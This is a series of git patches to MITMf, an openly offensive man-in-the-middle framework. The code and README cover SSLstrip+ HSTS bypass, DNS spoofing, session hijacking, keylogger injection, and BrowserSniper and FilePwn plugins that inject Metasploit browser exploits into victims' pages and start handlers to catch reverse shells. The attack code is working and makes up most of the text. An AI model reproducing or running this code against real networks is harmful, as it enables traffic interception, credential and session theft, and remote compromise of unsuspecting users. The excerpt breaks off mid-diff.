ServerConnection(HTTPClient): nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) mitmf_logger.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl)) sustitucion[url] = nuevaurl - #data.replace(url,nuevaurl) - #data = self.urlMonitor.DataReemplazo(data) if len(sustitucion)>0: dregex = re.compile("({})".format("|".join(map(re.escape, sustitucion.keys())))) data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) diff --git a/core/sslstrip/URLMonitor.py b/core/sslstrip/URLMonitor.py index f306db7..54b4bd5 100644 --- a/core/sslstrip/URLMonitor.py +++ b/core/sslstrip/URLMonitor.py @@ -32,6 +32,8 @@ class URLMonitor: # Start the arms race, and end up here... javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] _instance = None + sustitucion = dict() + real = dict() patchDict = { 'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net', 'https:\/\/www.facebook.com':'http:\/\/social.facebook.com', @@ -107,23 +109,24 @@ class URLMonitor: port = 443 if self.hsts: - if not self.getHstsConfig[1].has_key(host): + self.updateHstsConfig() + + if not self.sustitucion.has_key(host): lhost = host[:4] if lhost=="www.": - self.getHstsConfig[1][host] = "w"+host - self.getHstsConfig[0]["w"+host] = host + self.sustitucion[host] = "w"+host + self.real["w"+host] = host else: - self.getHstsConfig[1][host] = "web"+host - self.getHstsConfig[0]["web"+host] = host - mitmf_logger.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.getHstsConfig[1][host])) + self.sustitucion[host] = "web"+host + self.real["web"+host] = host + mitmf_logger.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.sustitucion[host])) url = 'http://' + host + path - #mitmf_logger.debug("HSTS stripped URL: %s %s"%(client, url)) self.strippedURLs.add((client, url)) self.strippedURLPorts[(client, url)] = int(port) - return 'http://'+ self.getHstsConfig[1][host] + path + return 'http://'+ self.sustitucion[host] + path else: url = method + host + path @@ -134,15 +137,10 @@ class URLMonitor: def setFaviconSpoofing(self, faviconSpoofing): self.faviconSpoofing = faviconSpoofing - def getHstsConfig(self): - sustitucion = dict() - real = dict() - - for k,v in ConfigWatcher.getInstance().getConfig()['SSLstrip+']: - sustitucion[k] = v - real[v] = k - - return (real, sustitucion) + def updateHstsConfig(self): + for k,v in ConfigWatcher.getInstance().config['SSLstrip+'].iteritems(): + self.sustitucion[k] = v + self.real[v] = k def setHstsBypass(self): self.hsts = True @@ -158,10 +156,12 @@ class URLMonitor: def URLgetRealHost(self, host): mitmf_logger.debug("[URLMonitor][HSTS] Parsing host: {}".format(host)) - - if self.getHstsConfig()[0].has_key(host): - mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.getHstsConfig()[0][host])) - return self.getHstsConfig()[0][host] + + self.updateHstsConfig() + + if self.real.has_key(host): + mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.real[host])) + return self.real[host] else: mitmf_logger.debug("[URLMonitor][HSTS] Host not in list: {}".format(host)) diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index 19225a3..aa831f4 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -39,11 +39,11 @@ class BrowserProfiler(Inject, Plugin): self.html_payload = self.get_payload() def post2dict(self, post): #converts the ajax post to a dic - dict = {} + d = dict() for line in post.split('&'): t = line.split('=') - dict[t[0]] = t[1] - return dict + d[t[0]] = t[1] + return d def clientRequest(self, request): #Handle the plugin output @@ -62,4 +62,4 @@ class BrowserProfiler(Inject, Plugin): def get_payload(self): plugindetect = open("./core/javascript/plugindetect.js", 'r').read() - return '' + return '' diff --git a/plugins/BrowserSniper.py b/plugins/BrowserSniper.py index 0eb7408..e74c405 100644 --- a/plugins/BrowserSniper.py +++ b/plugins/BrowserSniper.py @@ -23,7 +23,7 @@ import random import logging from time import sleep -from core.msfrpc import Msfrpc +from core.msfrpc import Msf from core.utils import SystemConfig, shutdown from plugins.plugin import Plugin from plugins.BrowserProfiler import BrowserProfiler @@ -42,20 +42,11 @@ class BrowserSniper(BrowserProfiler, Plugin): self.msfip = SystemConfig.getIP(options.interface) self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit - msfcfg = self.config['MITMf']['Metasploit'] - self.rpcip = msfcfg['rpcip'] - self.rpcpass = msfcfg['rpcpass'] - #Initialize the BrowserProfiler plugin BrowserProfiler.initialize(self, options) - try: - self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary - self.msf.login('msf', self.rpcpass) - version = self.msf.call('core.version')['version'] - self.tree_info.append("Connected to Metasploit v{}".format(version)) - except Exception: - shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server") + msfversion = Msf().version() + self.tree_info.append("Connected to Metasploit v{}".format(msfversion)) def startThread(self, options): self.snipe() @@ -84,11 +75,7 @@ class BrowserSniper(BrowserProfiler, Plugin): cmd += "set ExitOnSession False\n" cmd += "exploit -j\n" - #Create a virtual console - console_id = self.msf.call('console.create')['id'] - - #write the cmd to the newly created console - self.msf.call('console.write', [console_id, cmd]) + Msf().sendcommand(cmd) return (rand_url, rand_port) @@ -140,7 +127,7 @@ class BrowserSniper(BrowserProfiler, Plugin): elif details['Plugin'].lower() == 'flash': - if (flash is not None) and (java in details['PluginVersions']): + if (flash is not None) and (flash in details['PluginVersions']): exploits.append(exploit) mitmf_logger.debug("{} [BrowserSniper] Compatible exploits: {}".format(vic_ip, exploits)) @@ -154,31 +141,23 @@ class BrowserSniper(BrowserProfiler, Plugin): #The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds #Will also make sure the shell actually came from the box that we targeted - #probably a much cleaner way of doing this :/ mitmf_logger.info('{} [BrowserSniper] Waiting for ze shellz, sit back and relax...'.format(ip)) - exit_loop = False + poll_n = 1 - while poll_n <= 30: - - if exit_loop is True: - break - - sessions = self.msf.call('session.list') - if sessions: - for k, v in sessions.iteritems(): - if ip in sessions[k]['tunnel_peer']: - mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip)) - self.sploited_ips.append(ip) - self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped - exit_loop = True - break + msf = Msf() + while poll_n != 30: + if msf.sessionsfrompeer(ip): + mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip)) + self.sploited_ips.append(ip) + self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped + self.html_payload = self.get_payload() # restart the BrowserProfiler plugin + return + poll_n += 1 sleep(2) - if exit_loop is False: #We didn't get a shell :( - mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip)) - + mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip)) self.html_payload = self.get_payload() # restart the BrowserProfiler plugin def snipe(self): @@ -196,26 +175,20 @@ class BrowserSniper(BrowserProfiler, Plugin): elif exploits and (vic_ip not in self.sploited_ips): mitmf_logger.info("{} [BrowserSniper] Client vulnerable to {} exploits".format(vic_ip, len(exploits))) - inject_payload = '' + msf = Msf() for exploit in exploits: - jobs = self.msf.call('job.list') #get running jobs - if jobs: - for pid, name in jobs.iteritems(): - info = self.msf.call('job.info', [pid]) - if (exploit in info['name']): - mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit)) - url = info['uripath'] #get the url assigned to the exploit - inject_payload += "".format(self.msfip, msfport, url) - else: - url, port = self._setupExploit(exploit, msfport) - inject_payload += "".format(self.msfip, port, url) + pid = msf.findpid(exploit) + if pid: + mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit)) + url = msf.jobinfo(pid)['uripath'] #get the url assigned to the exploit + inject_payload += "".format(self.msfip, msfport, url) else: url, port = self._setupExploit(exploit, msfport) inject_payload += "".format(self.msfip, port, url) - + self.injectAndPoll(vic_ip, inject_payload) sleep(1) diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 64f977a..2d40f54 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -68,7 +68,7 @@ import multiprocessing from libs.bdfactory import pebin from libs.bdfactory import elfbin from libs.bdfactory import machobin -from core.msfrpc import Msfrpc +from core.msfrpc import Msf from core.utils import shutdown from plugins.plugin import Plugin from tempfile import mkstemp @@ -126,26 +126,15 @@ class FilePwn(Plugin): self.zipblacklist = self.userConfig['ZIP']['blacklist'] self.tarblacklist = self.userConfig['TAR']['blacklist'] - #Metasploit options - msfcfg = self.config['MITMf']['Metasploit'] - rpcip = msfcfg['rpcip'] - rpcpass = msfcfg['rpcpass'] + msfversion = Msf().version() + self.tree_info.append("Connected to Metasploit v{}".format(msfversion)) - try: - msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary - msf.login('msf', rpcpass) - version = msf.call('core.version')['version'] - self.tree_info.append("Connected to Metasploit v{}".format(version)) - - t = threading.Thread(name='setupMSF', target=self.setupMSF, args=(msf,)) - t.setDaemon(True) - t.start() - except Exception: - shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") + t = threading.Thread(name='setupMSF', target=self.setupMSF) + t.setDaemon(True) + t.start() - def setupMSF(self, msf): - - jobs = msf.call('job.list') + def setupMSF(self): + msf = Msf() for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]: cmd = "use exploit/multi/handler\n" cmd += "set payload {}\n".format(config["MSFPAYLOAD"]) @@ -154,21 +143,16 @@ class FilePwn(Plugin): cmd += "set ExitOnSession False\n" cmd += "exploit -j\n" - if jobs: - for pid, name in jobs.iteritems(): - info = msf.call('job.info', [pid]) - if (info['name'] != "Exploit: multi/handler") or (info['datastore']['payload'] != config["MSFPAYLOAD"]) or (info['datastore']['LPORT'] != config["PORT"]) or (info['datastore']['lhost'] != config['HOST']): - #Create a virtual console - c_id = msf.call('console.create')['id'] - - #write the cmd to the newly created console - msf.call('console.write', [c_id, cmd]) + pid = msf.findpid('multi/handler') + if pid: + info = msf.jobinfo(pid) + if (info['datastore']['payload'] == config["MSFPAYLOAD"]) and (info['datastore']['LPORT'] == config["PORT"]) and (info['datastore']['lhost'] != config['HOST']): + msf.killjob(pid) + msf.sendcommand(cmd) + else: + msf.sendcommand(cmd) else: - #Create a virtual console - c_id = msf.call('console.create')['id'] - - #write the cmd to the newly created console - msf.call('console.write', [c_id, cmd]) + msf.sendcommand(cmd) def onConfigChange(self): self.initialize(self.options) diff --git a/plugins/Screenshotter.py b/plugins/Screenshotter.py index 5e32555..eae51ee 100644 --- a/plugins/Screenshotter.py +++ b/plugins/Screenshotter.py @@ -37,7 +37,7 @@ class ScreenShotter(Inject, Plugin): has_opts = True def initialize(self, options): - self.interval = options.interval + self.interval = 10 or options.interval Inject.initialize(self, options) self.html_payload = self.get_payload() @@ -60,4 +60,4 @@ class ScreenShotter(Inject, Plugin): return '' def pluginOptions(self, options): - options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)") \ No newline at end of file + options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=None, help="Interval at which screenshots will be taken (default 10 seconds)") \ No newline at end of file From 946ba0b365eddff81fdc1b8828b3545ef68eb782 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 19 May 2015 00:08:44 +0200 Subject: [PATCH 034/181] updated readme --- README.md | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 1008bb1..7b03c09 100644 --- a/README.md +++ b/README.md @@ -16,12 +16,13 @@ Contact me at: Available plugins ================= +- ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser - ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner - ```SSLstrip+``` - Partially bypass HSTS - ```Spoof``` - Redirect traffic using ARP Spoofing, ICMP Redirects or DHCP Spoofing - ```BeEFAutorun``` - Autoruns BeEF modules based on clients OS or browser type - ```AppCachePoison``` - Perform App cache poisoning attacks -- ```Ferret-NG``` - Transparently hijacks sessions +- ```Ferret-NG``` - Tranperently hijacks sessions - ```BrowserProfiler``` - Attempts to enumerate all browser plugins of connected clients - ```CacheKill``` - Kills page caching by modifying headers - ```FilePwn``` - Backdoor executables being sent over HTTP using the Backdoor Factory and BDFProxy @@ -35,6 +36,10 @@ Available plugins Changelog ========= +- ```SessionHijacker``` is replaced with ```Ferret-NG```, captures cookies and starts a proxy that will feed them to connected clients + +- Addition of the ```Screenshotter``` plugin, able to render screenshots of a clients browser at regular intervals + - Addition of a fully functional SMB server using the [Impacket](https://github.com/CoreSecurity/impacket) library - Addition of [DNSChef](https://github.com/iphelix/dnschef), the framework is now a IPv4/IPv6 (TCP & UDP) DNS server ! Supported queries are: 'A', 'AAAA', 'MX', 'PTR', 'NS', 'CNAME', 'TXT', 'SOA', 'NAPTR', 'SRV', 'DNSKEY' and 'RRSIG' @@ -46,8 +51,6 @@ Changelog - Integrated [SSLstrip+](https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014 -- Addition of the ```Ferret-NG``` plugin, which uses code from [FireLamb](https://github.com/sensepost/mana/tree/master/firelamb) to store cookies in a Firefox profile - - ```Spoof``` plugin can now exploit the 'ShellShock' bug when DHCP spoofing! - ```Spoof``` plugin now supports ICMP, ARP and DHCP spoofing From ae236625db5ffc660eb012b2241a0411c9ddbf3e Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 19 May 2015 00:23:03 +0200 Subject: [PATCH 035/181] readme --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 7b03c09..d1bbd4a 100644 --- a/README.md +++ b/README.md @@ -36,6 +36,8 @@ Available plugins Changelog ========= +- Config file now updates on the fly! + - ```SessionHijacker``` is replaced with ```Ferret-NG```, captures cookies and starts a proxy that will feed them to connected clients - Addition of the ```Screenshotter``` plugin, able to render screenshots of a clients browser at regular intervals From 3814b4cf8267bbb13f43ca51335803527ef25947 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 19 May 2015 00:45:27 +0200 Subject: [PATCH 036/181] fixed .gitignore --- logs/.gitignore | 1 + logs/ferret-ng/.gitignore | 2 ++ 2 files changed, 3 insertions(+) create mode 100644 logs/ferret-ng/.gitignore diff --git a/logs/.gitignore b/logs/.gitignore index 4f167e8..cf7c24d 100644 --- a/logs/.gitignore +++ b/logs/.gitignore @@ -2,3 +2,4 @@ !.gitignore !responder/ !dnschef/ +!ferret-ng/ diff --git a/logs/ferret-ng/.gitignore b/logs/ferret-ng/.gitignore new file mode 100644 index 0000000..d6b7ef3 --- /dev/null +++ b/logs/ferret-ng/.gitignore @@ -0,0 +1,2 @@ +* +!.gitignore From fb26d8920466438c62219e7e30d9cd1ea68871cc Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 19 May 2015 12:58:58 +0200 Subject: [PATCH 037/181] typos --- README.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index d1bbd4a..6b44f24 100644 --- a/README.md +++ b/README.md @@ -22,12 +22,12 @@ Available plugins - ```Spoof``` - Redirect traffic using ARP Spoofing, ICMP Redirects or DHCP Spoofing - ```BeEFAutorun``` - Autoruns BeEF modules based on clients OS or browser type - ```AppCachePoison``` - Perform App cache poisoning attacks -- ```Ferret-NG``` - Tranperently hijacks sessions +- ```Ferret-NG``` - Transperently hijacks sessions - ```BrowserProfiler``` - Attempts to enumerate all browser plugins of connected clients - ```CacheKill``` - Kills page caching by modifying headers - ```FilePwn``` - Backdoor executables being sent over HTTP using the Backdoor Factory and BDFProxy - ```Inject``` - Inject arbitrary content into HTML content -- ```BrowserPwn``` - Performs drive-by attacks on clients with out-of-date browser plugins +- ```BrowserSniper``` - Performs drive-by attacks on clients with out-of-date browser plugins - ```jskeylogger``` - Injects a javascript keylogger into clients webpages - ```Replace``` - Replace arbitary content in HTML content - ```SMBAuth``` - Evoke SMB challenge-response auth attempts @@ -40,6 +40,8 @@ Changelog - ```SessionHijacker``` is replaced with ```Ferret-NG```, captures cookies and starts a proxy that will feed them to connected clients +- ```JavaPwn``` plugin replced with ```BrowserSniper```, now supports java, flash and browser exploits + - Addition of the ```Screenshotter``` plugin, able to render screenshots of a clients browser at regular intervals - Addition of a fully functional SMB server using the [Impacket](https://github.com/CoreSecurity/impacket) library From a102975492dbc232c516dd80d67d7318f269dff2 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 19 May 2015 22:32:39 +0200 Subject: [PATCH 038/181] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 6b44f24..3a43c32 100644 --- a/README.md +++ b/README.md @@ -81,7 +81,7 @@ Installation If MITMf is not in your distros repo or you just want the latest version: - Clone this repository - Run the ```setup.sh``` script -- Run the command ```pip install -r requirements.txt``` to install all python dependencies +- Run the command ```pip install --upgrade -r requirements.txt``` to install all python dependencies On Kali Linux, if you get an error while installing the ```pypcap``` package or when starting MITMf you see: ```ImportError: no module named pcap``` run ```apt-get install python-pypcap``` to fix it. From 929520fcc856813576b67f1b50728407fa33d7a4 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 19 May 2015 22:43:43 +0200 Subject: [PATCH 039/181] Initial webserver implementation, plus organized directory structure a bit better --- core/{dnschef => poisoners}/__init__.py | 0 core/{protocols => poisoners}/arp/ARPWatch.py | 0 .../arp/ARPpoisoner.py | 0 core/{protocols => poisoners/arp}/__init__.py | 0 .../dhcp/DHCPpoisoner.py} | 2 +- .../arp => poisoners/dhcp}/__init__.py | 0 .../icmp/ICMPpoisoner.py | 0 .../dhcp => poisoners/icmp}/__init__.py | 0 core/protocols/dns/DNSServer.py | 101 -------------- core/protocols/dns/DNSnfqueue.py | 130 ------------------ core/{protocols/dns => servers}/__init__.py | 0 core/{dnschef => servers/dns}/CHANGELOG | 0 core/{dnschef => servers/dns}/DNSchef.py | 0 core/{dnschef => servers/dns}/LICENSE | 0 core/{dnschef => servers/dns}/README.md | 0 .../icmp => servers/dns}/__init__.py | 0 core/servers/http/HTTPServer.py | 21 +++ .../smb => servers/http}/__init__.py | 0 core/{protocols => servers}/smb/SMBPackets.py | 0 .../smb/SMBServer_Responder.py | 0 core/{protocols => servers}/smb/SMBserver.py | 0 core/servers/smb/__init__.py | 0 mitmf.py | 9 +- plugins/SSLstrip+.py | 2 +- plugins/Spoof.py | 10 +- plugins/TestPlugin.py | 18 +++ requirements.txt | 1 + 27 files changed, 54 insertions(+), 240 deletions(-) rename core/{dnschef => poisoners}/__init__.py (100%) rename core/{protocols => poisoners}/arp/ARPWatch.py (100%) rename core/{protocols => poisoners}/arp/ARPpoisoner.py (100%) rename core/{protocols => poisoners/arp}/__init__.py (100%) rename core/{protocols/dhcp/DHCPServer.py => poisoners/dhcp/DHCPpoisoner.py} (99%) rename core/{protocols/arp => poisoners/dhcp}/__init__.py (100%) rename core/{protocols => poisoners}/icmp/ICMPpoisoner.py (100%) rename core/{protocols/dhcp => poisoners/icmp}/__init__.py (100%) delete mode 100644 core/protocols/dns/DNSServer.py delete mode 100644 core/protocols/dns/DNSnfqueue.py rename core/{protocols/dns => servers}/__init__.py (100%) rename core/{dnschef => servers/dns}/CHANGELOG (100%) rename core/{dnschef => servers/dns}/DNSchef.py (100%) rename core/{dnschef => servers/dns}/LICENSE (100%) rename core/{dnschef => servers/dns}/README.md (100%) rename core/{protocols/icmp => servers/dns}/__init__.py (100%) create mode 100644 core/servers/http/HTTPServer.py rename core/{protocols/smb => servers/http}/__init__.py (100%) rename core/{protocols => servers}/smb/SMBPackets.py (100%) rename core/{protocols => servers}/smb/SMBServer_Responder.py (100%) rename core/{protocols => servers}/smb/SMBserver.py (100%) create mode 100644 core/servers/smb/__init__.py create mode 100644 plugins/TestPlugin.py diff --git a/core/dnschef/__init__.py b/core/poisoners/__init__.py similarity index 100% rename from core/dnschef/__init__.py rename to core/poisoners/__init__.py diff --git a/core/protocols/arp/ARPWatch.py b/core/poisoners/arp/ARPWatch.py similarity index 100% rename from core/protocols/arp/ARPWatch.py rename to core/poisoners/arp/ARPWatch.py diff --git a/core/protocols/arp/ARPpoisoner.py b/core/poisoners/arp/ARPpoisoner.py similarity index 100% rename from core/protocols/arp/ARPpoisoner.py rename to core/poisoners/arp/ARPpoisoner.py diff --git a/core/protocols/__init__.py b/core/poisoners/arp/__init__.py similarity index 100% rename from core/protocols/__init__.py rename to core/poisoners/arp/__init__.py diff --git a/core/protocols/dhcp/DHCPServer.py b/core/poisoners/dhcp/DHCPpoisoner.py similarity index 99% rename from core/protocols/dhcp/DHCPServer.py rename to core/poisoners/dhcp/DHCPpoisoner.py index 80ab8c6..aa23cc8 100644 --- a/core/protocols/dhcp/DHCPServer.py +++ b/core/poisoners/dhcp/DHCPpoisoner.py @@ -8,7 +8,7 @@ from scapy.all import * mitmf_logger = logging.getLogger('mitmf') -class DHCPServer(): +class DHCPpoisoner(): def __init__(self, interface, dhcpcfg, ip, mac): self.interface = interface diff --git a/core/protocols/arp/__init__.py b/core/poisoners/dhcp/__init__.py similarity index 100% rename from core/protocols/arp/__init__.py rename to core/poisoners/dhcp/__init__.py diff --git a/core/protocols/icmp/ICMPpoisoner.py b/core/poisoners/icmp/ICMPpoisoner.py similarity index 100% rename from core/protocols/icmp/ICMPpoisoner.py rename to core/poisoners/icmp/ICMPpoisoner.py diff --git a/core/protocols/dhcp/__init__.py b/core/poisoners/icmp/__init__.py similarity index 100% rename from core/protocols/dhcp/__init__.py rename to core/poisoners/icmp/__init__.py diff --git a/core/protocols/dns/DNSServer.py b/core/protocols/dns/DNSServer.py deleted file mode 100644 index 19ecd81..0000000 --- a/core/protocols/dns/DNSServer.py +++ /dev/null @@ -1,101 +0,0 @@ -################################################################################## -#DNS Stuff starts here(not Used) -################################################################################## - -#Function name self-explanatory - -class DNSServer(): - - def serve_thread_udp(host, port, handler): - try: - server = ThreadingUDPServer((host, port), handler) - server.serve_forever() - except Exception, e: - print "Error starting UDP server on port %s: %s:" % (str(port),str(e)) - - def start(DNS_On_Off): - if DNS_On_Off == "ON": - t1 = threading.Thread(name="DNS", target=self.serve_thread_udp, args=("0.0.0.0", 53,DNS)) - t2 = threading.Thread(name="DNSTCP", target=self.serve_thread_udp, args=("0.0.0.0", 53,DNSTCP)) - for t in [t1, t2]: - t.setDaemon(True) - t.start() - - if DNS_On_Off == "OFF": - return False - -class ThreadingUDPServer(ThreadingMixIn, UDPServer): - - allow_reuse_address = 1 - - def server_bind(self): - UDPServer.server_bind(self) - -def ParseDNSType(data): - QueryTypeClass = data[len(data)-4:] - if QueryTypeClass == "\x00\x01\x00\x01":#If Type A, Class IN, then answer. - return True - else: - return False - -#DNS Answer packet. -class DNSAns(Packet): - fields = OrderedDict([ - ("Tid", ""), - ("Flags", "\x80\x10"), - ("Question", "\x00\x01"), - ("AnswerRRS", "\x00\x01"), - ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x00"), - ("QuestionName", ""), - ("QuestionNameNull", "\x00"), - ("Type", "\x00\x01"), - ("Class", "\x00\x01"), - ("AnswerPointer", "\xc0\x0c"), - ("Type1", "\x00\x01"), - ("Class1", "\x00\x01"), - ("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long.. - ("IPLen", "\x00\x04"), - ("IP", "\x00\x00\x00\x00"), - ]) - - def calculate(self,data): - self.fields["Tid"] = data[0:2] - self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) - self.fields["IP"] = inet_aton(OURIP) - self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) - -# DNS Server class. -class DNS(BaseRequestHandler): - - def handle(self): - data, soc = self.request - if self.client_address[0] == "127.0.0.1": - pass - elif ParseDNSType(data): - buff = DNSAns() - buff.calculate(data) - soc.sendto(str(buff), self.client_address) - #print "DNS Answer sent to: %s "%(self.client_address[0]) - responder_logger.info('DNS Answer sent to: %s'%(self.client_address[0])) - -class DNSTCP(BaseRequestHandler): - - def handle(self): - try: - data = self.request.recv(1024) - if self.client_address[0] == "127.0.0.1": - pass - elif ParseDNSType(data): - buff = DNSAns() - buff.calculate(data) - self.request.send(str(buff)) - #print "DNS Answer sent to: %s "%(self.client_address[0]) - responder_logger.info('DNS Answer sent to: %s'%(self.client_address[0])) - - except Exception: - pass - -################################################################################## -#DNS Stuff ends here (not Used) -################################################################################## \ No newline at end of file diff --git a/core/protocols/dns/DNSnfqueue.py b/core/protocols/dns/DNSnfqueue.py deleted file mode 100644 index ec1b255..0000000 --- a/core/protocols/dns/DNSnfqueue.py +++ /dev/null @@ -1,130 +0,0 @@ - -class DNSnfqueue(): - - hsts = False - dns = False - hstscfg = None - dnscfg = None - _instance = None - nfqueue = None - queue_number = 0 - - def __init__(self): - self.nfqueue = NetfilterQueue() - t = threading.Thread(name='nfqueue', target=self.bind, args=()) - t.setDaemon(True) - t.start() - - @staticmethod - def getInstance(): - if _DNS._instance is None: - _DNS._instance = _DNS() - - return _DNS._instance - - @staticmethod - def checkInstance(): - if _DNS._instance is None: - return False - else: - return True - - def bind(self): - self.nfqueue.bind(self.queue_number, self.callback) - self.nfqueue.run() - - def stop(self): - try: - self.nfqueue.unbind() - except: - pass - - def enableHSTS(self, config): - self.hsts = True - self.hstscfg = config - - def enableDNS(self, config): - self.dns = True - self.dnscfg = config - - def resolve_domain(self, domain): - try: - mitmf_logger.debug("Resolving -> %s" % domain) - answer = dns.resolver.query(domain, 'A') - real_ips = [] - for rdata in answer: - real_ips.append(rdata.address) - - if len(real_ips) > 0: - return real_ips - - except Exception: - mitmf_logger.info("Error resolving " + domain) - - def callback(self, payload): - try: - #mitmf_logger.debug(payload) - pkt = IP(payload.get_payload()) - - if not pkt.haslayer(DNSQR): - payload.accept() - return - - if pkt.haslayer(DNSQR): - mitmf_logger.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) - if self.dns: - for k, v in self.dnscfg.items(): - if k in pkt[DNSQR].qname: - self.modify_dns(payload, pkt, v) - return - - payload.accept() - - elif self.hsts: - if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1): - for k,v in self.hstscfg.items(): - if v == pkt[DNSQR].qname[:-1]: - ip = self.resolve_domain(k) - if ip: - self.modify_dns(payload, pkt, ip) - return - - if 'wwww' in pkt[DNSQR].qname: - ip = self.resolve_domain(pkt[DNSQR].qname[1:-1]) - if ip: - self.modify_dns(payload, pkt, ip) - return - - if 'web' in pkt[DNSQR].qname: - ip = self.resolve_domain(pkt[DNSQR].qname[3:-1]) - if ip: - self.modify_dns(payload, pkt, ip) - return - - payload.accept() - - except Exception, e: - print "Exception occurred in nfqueue callback: " + str(e) - - def modify_dns(self, payload, pkt, ip): - try: - spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\ - UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\ - DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd) - - if self.hsts: - spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field - for i in ip: - spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i)) - mitmf_logger.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) - payload.set_payload(str(spoofed_pkt)) - payload.accept() - - if self.dns: - spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) - mitmf_logger.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) - payload.set_payload(str(spoofed_pkt)) - payload.accept() - - except Exception, e: - print "Exception occurred while modifying DNS: " + str(e) \ No newline at end of file diff --git a/core/protocols/dns/__init__.py b/core/servers/__init__.py similarity index 100% rename from core/protocols/dns/__init__.py rename to core/servers/__init__.py diff --git a/core/dnschef/CHANGELOG b/core/servers/dns/CHANGELOG similarity index 100% rename from core/dnschef/CHANGELOG rename to core/servers/dns/CHANGELOG diff --git a/core/dnschef/DNSchef.py b/core/servers/dns/DNSchef.py similarity index 100% rename from core/dnschef/DNSchef.py rename to core/servers/dns/DNSchef.py diff --git a/core/dnschef/LICENSE b/core/servers/dns/LICENSE similarity index 100% rename from core/dnschef/LICENSE rename to core/servers/dns/LICENSE diff --git a/core/dnschef/README.md b/core/servers/dns/README.md similarity index 100% rename from core/dnschef/README.md rename to core/servers/dns/README.md diff --git a/core/protocols/icmp/__init__.py b/core/servers/dns/__init__.py similarity index 100% rename from core/protocols/icmp/__init__.py rename to core/servers/dns/__init__.py diff --git a/core/servers/http/HTTPServer.py b/core/servers/http/HTTPServer.py new file mode 100644 index 0000000..ce3ba9a --- /dev/null +++ b/core/servers/http/HTTPServer.py @@ -0,0 +1,21 @@ +import tornado.ioloop +import tornado.web +import threading + +class HTTPServer: + + _instance = None + application = tornado.web.Application([]) + + @staticmethod + def getInstance(): + if HTTPServer._instance == None: + HTTPServer._instance = HTTPServer() + + return HTTPServer._instance + + def start(self, port=80): + self.application.listen(port) + t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start) + t.setDaemon(True) + t.start() diff --git a/core/protocols/smb/__init__.py b/core/servers/http/__init__.py similarity index 100% rename from core/protocols/smb/__init__.py rename to core/servers/http/__init__.py diff --git 